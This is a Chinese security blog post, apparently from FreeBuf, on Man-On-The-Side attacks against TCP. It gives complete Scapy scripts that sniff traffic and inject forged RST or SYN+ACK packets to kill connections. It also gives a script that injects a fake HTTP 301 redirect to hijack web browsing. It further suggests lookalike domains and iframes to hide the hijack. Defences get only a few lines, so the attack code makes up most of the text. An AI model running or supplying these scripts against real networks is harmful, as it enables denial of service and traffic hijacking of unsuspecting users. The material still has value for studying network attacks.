安全路透社
当前位置:安全路透社 > 网络转载 > 正文

MOTS攻击之TCP攻击

*本文原创作者:feiniao本文属FreeBuf原创奖励计划,未经许可禁止转载 

1.  概述

继续进行MOTS类型攻击方式的进展。这里再次强调一下,MOTS 是指 Man-On-The-Side,是一种在旁路监听模式下的攻击方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中间人攻击。MOTS 其原理是监听与构造响应数据包,并在正常数据包返回之前插入伪造的数据包。其实现的核心条件是 TCP/IP 协议本身实现时并没有考虑这方面的安全问题。MOTS 实现的整体逻辑如下所示,其中 Attack 是旁路监听模式,而不是直接串在网络中的。这种类型的攻击比中间人攻击相对隐秘,其正常情况下只是监听,需要攻击时才进行攻击,并且攻击时只需要发送少量报文,不会出现大流量。所以具有隐蔽、难以发现、攻击效果明显等特点

MOTS 实现的整体逻辑

前面已经进行了MOTS相关原理及基于UDP应用攻击的描述。不了解的可以点击这里:

《MOTS攻击技术分析》

《MOTS攻击之UDP攻击》

学习过TCP/IP的同学都应该了解,传输层有两种协协议:TCP和UDP,这两种协议本身的特点决定了其应用场景的不同。TCP作为一种可靠的协议,其具有面向连接、可靠等特点。所以很多应用都基于TCP作开发,如应用最多的web应用。针对TCP的攻击这里主要介绍两种方式:DOS和劫持,其他类型的攻击,大家可以完善、补充。

2.  DOS攻击

2.1  原理

大家知道,针对某一IP的特点端口进行探测其是否开放时,一般发送SYN,若其端口开放,对方回应SYN+ACK;若端口不开放,则回应reset。所以针对TCP的应用,我们进行DOS时,可以监听其SYN包,一旦有客户端发送SYN,直接给其回应reset,并且保证伪造的reset比正常的响应包早到,即可达到DOS的效果。其实现逻辑如下图所示:

2.jpg

2.2 三次握手DOS

要实现对TCP应用的DOS,需要按照以下几步实现:

1、构造reset报文

2、监听网络中的TCP SYN报文

3、监听到TCP SYN报文时,回应reset报文

2.2.1  安装scapy库

实现TCP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip install scapy来安装。

2.2.2  构造reset报文

reset报文结构相对较简单,普通的TCP报文,只是其reset和ack位置一,且ack=前一报文的seq+1。对方收到reset报文后,其TCP层立即释放TCP连接,reset报文比fin报文释放连接时效率高很多,正常的TCP关闭使用FIN时需要四个报文,而使用reset来释放的话只需要一个报文。

构造reset报文

2.2.3  监听并攻击

攻击程序代码如下,大家可以根据实际情况修改:

#coding:utf-8

”’

date:2017-07-07

author:feiniao

Version:1.0

”’

from scapy.all import *

import random

”’ 

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=”绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

”’

conf.iface=’Intel(R) Dual Band Wireless-AC 8260′

#随机ip字段的id和ttl

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

tcpseq = random.randint(1,4294967295)

def buying(tcpmots):

 resp = Ether()/IP()/TCP()

 #构造TCP相关字段

 resp[TCP].dport = tcpmots[TCP].sport

 resp[TCP].sport = tcpmots[TCP].dport

 resp[TCP].ack = tcpmots[TCP].seq + 1

 resp[TCP].flags = “RA”

 resp[TCP].window = 0

 #构造IP包头

 resp[IP].src = tcpmots[IP].dst

 resp[IP].dst = tcpmots[IP].src

 resp[IP].ttl = ipttl

 resp[IP].id  = ipid

 #构造以太网包头

 resp[Ether].src = tcpmots[Ether].dst

 resp[Ether].dst = tcpmots[Ether].src

 #发送构造的TCP DOS 包

 sendp(resp,count=1)

 print(“TCP DOS 攻击”,resp[IP].dst,”成功”)

if __name__ == ‘__main__’:

 sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0′)

找到攻击程序所在的目录,直接输入python tcpsyndos.py即可。

大家攻击测试的情况可能和我一样,收到客户端的SYN包以后,明明发送了reset报文,并且对方也收到了,但是客户端就是不释放连接,并且正常的响应报文过来以后还可以正常交互。其报文交互如下所示:

报文交互

通过上面的交互可以看到,192.168.0.105发送一个SYN报文,118.184.32.93首先回应了一个reset报文,其rst和ack位均置一。但是192.168.0.105并没有释放连接,然后收到118.184.32.93的syn+ack报文,反而建立成功了TCP的三次握手,后面还正常进行数据的交互。正常情况下,客户端收到reset报文时的确应该是直接释放TCP连接,但是攻击在不断进化与升级的同时,防护也同样在升级。本人测试时使用的是Windows10 Pro版本,经分析,其应该是操作系统过滤了reset报文,至少是过滤了三次握手时的reset包,所以才导致连接并没有释放并且可以正常交互。

端系统对RST报文的过滤,大家可参考:http://www.vants.org/?post=140

如果有测试时出现攻击者发送reset包的并且正常释放连接的,那么其端系统是没有过滤reset报文的,测试成功的小伙伴可以联系我,我来完善一下。

2.2.4  攻击对抗

既然客户端过滤了reset那么,那么就没有办法针对三次握手时进行DOS了?呵呵!办法还是有很多种的,大家知道,客户端发送seq=x时,对方响应报文的ack=x+1,若ack!=x+1,那么客户端肯定会响应reset的。这样话,就有了下面第一种针对方式,改变ack的大小,只需要把上面的代码作下面的修改即可:

resp[TCP].ack = 0    //ack大小可以任意指定

    resp[TCP].flags= “SA”

这样修改的话,可以达到DOS的效果,实际攻击效果如下:

实际攻击效果

2.3 数据交互DOS

这种DOS的攻击场景为数据交互时,若浏览某个页面时,传输数据时等。其只需要监听客户端的行为,并对特定的方式或内容进行DOS。

这里本人实现时,只要有PUSH行为,就给DOS。代码如下:

#coding:utf-8

”’

date:2017-07-11

author:feiniao

Version:1.0

”’

from scapy.all import *

import random

”’

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=”绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

”’

conf.iface=’Intel(R) Dual Band Wireless-AC 8260′

#随机ip字段的id和ttl

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

tcpseq = random.randint(1,4294967295)

def buying(tcpmots):

resp = Ether()/IP()/TCP()

#构造TCP相关字段

resp[TCP].dport = tcpmots[TCP].sport

resp[TCP].sport = tcpmots[TCP].dport

resp[TCP].seq = tcpmots[TCP].ack

resp[TCP].ack = tcpmots[TCP].seq + len(tcpmots[TCP].load)

resp[TCP].flags = “RA”

resp[TCP].window = 0

#构造IP包头

resp[IP].src = tcpmots[IP].dst

resp[IP].dst = tcpmots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = tcpmots[Ether].dst

resp[Ether].dst = tcpmots[Ether].src

#发送构造的TCP DOS 包

sendp(resp,count=1)

print(“TCP DOS 攻击”,resp[IP].dst,”成功”)

if __name__ == ‘__main__’:

sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-push)!=0 and dst host 118.184.32.93′) 

测试时,发现客户端并没有过滤PUSH数据交互时的reset报文,上面过滤了三次握手时的reset报文,可见reset报文的过滤在TCP层面可以有针对性的过滤。针对数据交互的DOS:

针对数据交互的DOS

针对数据交互的DOS

这里大家可以根据具体需求进行完善。

2.4 对抗

2.4.1  加密

使用VPX、代理、https等方式

2.4.2  协议优化

以下纯粹个人观点:

针对MOTS类型的 TCP DOS方式的攻击,客户端发送syn报文后,一方面可以直接过滤reset报文,另一方面收到reset或者syn+ack但是ack序号不正确的报文不立即处理,而是等一段时间(如10ms),在这段时间内若有正常的syn+ack报文过来,则正常建立连接。

3.  TCP劫持与欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。生活中常见的如打开网页时插入尾巴、广告等方式一般情况下都是通过这种方式实现的。

3.2 实现

这里实现一个打开任意网站时,返回一个301,并跳转到freebuf的劫持。代码如下,运行很简单,

#coding:utf-8

”’

name:http mots attack

date:2017-07-11

author:feiniao

Version:1.0

”’

from scapy.all import *

import random

”’

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=”绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

”’

conf.iface=’Intel(R) Dual Band Wireless-AC 8260′

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

tcpseq = random.randint(1,4294967295)#HTTP 301

data = “HTTP/1.0 301 Moved Permanently\r\n”

data += “Server: Apache/1.3.17 (Unix) PHP/4.0.4\r\n”

data += “Location: http://www.freebuf.com\r\n”

data += “Content-Type: text/html; charset=iso-8859-1\r\n”

data += “Connection: close\r\n”

data += “\r\n”

def buying(httpmots):

resp = Ether()/IP()/TCP()/data

#构造TCP相关字段

resp[TCP].dport = httpmots[TCP].sport

resp[TCP].sport = httpmots[TCP].dport

resp[TCP].seq = httpmots[TCP].ack

resp[TCP].ack = httpmots[TCP].seq + len(httpmots[TCP].load)

resp[TCP].flags = “A”

resp[TCP].window = 12345

#构造IP包头

resp[IP].src = httpmots[IP].dst

resp[IP].dst = httpmots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = httpmots[Ether].dst

resp[Ether].dst = httpmots[Ether].src

#发送构造的TCP DOS 包

sendp(resp,count=1)

print(“HTTP劫持”,resp[IP].src,”成功”)

if __name__ == ‘__main__’:

#过滤HTTP的GET请求

sniff(prn=buying,filter=’tcp[((tcp[12:1]&0xf0)>>2):4]=0×47455420 and not host 120.55.226.207′) 

攻击效果如下,打开www.cisco.com,返回的是www.freebuf.com的内容。有的同学可能说这个太直观了,很容易发现,cisco和freebuf差别还是很大的,如果返回的是www.cisc0.comwww.clsco.com、甚至前面有大牛写的“同形异义”,这种方式就不好发现了。

运营X做劫持的方法之一为:返回302,返回内容中有 iframe,通过 iframe 加载正常的页面,这样的话很就难发现了。

思科首页

FreeBuf 首页

通过 iframe 加载正常的页面

上面实现时花费了很长时间,一直使用 python 的 scapy_http.http 库来实现,但是在发送的时候一直报错,由于本人python 新手,最后还是通过 scapy 构造 http 的数据来实现。有通过 scapy_http.http 库实现的大牛,可以贡献一下相关代码,嘿嘿!在这里先谢过。

3.3 对抗

大家自己总结吧,我上面也写了很多。这里就不作太多描述了。

*本文原创作者:feiniao本文属FreeBuf原创奖励计划,未经许可禁止转载

未经允许不得转载:安全路透社 » MOTS攻击之TCP攻击

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册